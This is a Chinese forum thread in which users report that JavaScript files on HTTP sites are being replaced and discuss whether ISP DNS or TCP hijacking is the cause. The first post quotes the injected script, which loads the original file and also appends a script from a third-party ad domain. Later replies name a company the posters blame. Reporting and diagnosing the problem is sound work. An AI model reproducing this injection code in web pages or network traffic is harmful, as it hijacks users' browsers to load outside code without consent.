这是 运营商 DNS 劫持吗？

[FrankStark]

打开若干个 http 的网站会出现某一个 js 被替换，变成类似于这样的代码：

var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://lxbjs.baidu.com/newFloat/_l.js?siteid=11111111&bdclickid=&bdcbid=57adfa92-3452-413a-8587-6752de90f6fb&refer_domain=&ishttp=1&t=1509335407566&callback=_lxb_jsonp_j9dnbxzi_&cHVzaA=1509335497';
_atn_obj_.unified_url = 'http://kio.quanliyouxi.cn:2525/ad_unified_access?SP=ABys7Pg8zJysfJzczOzMqgzs7NycuDqN+xq87P0c/R0oPOg8vLz8zPz4POg87Kz8bMzMrLxsiDzsrPxszMysvGyM/JxsnJy8aDzs7Jzso=';
window.setTimeout(function() {
    var a = document.createElement("script");
    a.src = _atn_obj_.oldurl;
    document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
    var a = document.createElement("script");
    a.src = _atn_obj_.unified_url;
    document.getElementsByTagName("head")[0].appendChild(a);
}, 0);

oldurl 是原来某个 js 的 url 地址。

测试了多个网站，均有出现某个 js 被篡改。 https 站点则没有这个情况。

[miyuki]

如果排除本地恶意插件、病毒的话，是劫持，但方式不一定是 DNS，现在多数都是嗅探 TCP 劫持了

[yexm0]

同意，这是 tcp 劫持了。

[cye3s]

http 劫持

[G900]

我这也是，拦截 CDN 的 jquery 文件，插入广告代码，这个垃圾 quanliyouxi.cn 域名。

公司名是「韶关市启慧信息技术有限公司」，韶关市启慧信息技术有限公司，韶关市 启慧 信息技术 有限公司

插入垃圾代码，电信广告，电信劫持，垃圾广告

[crist]

我也出现这个问题了，怎么办？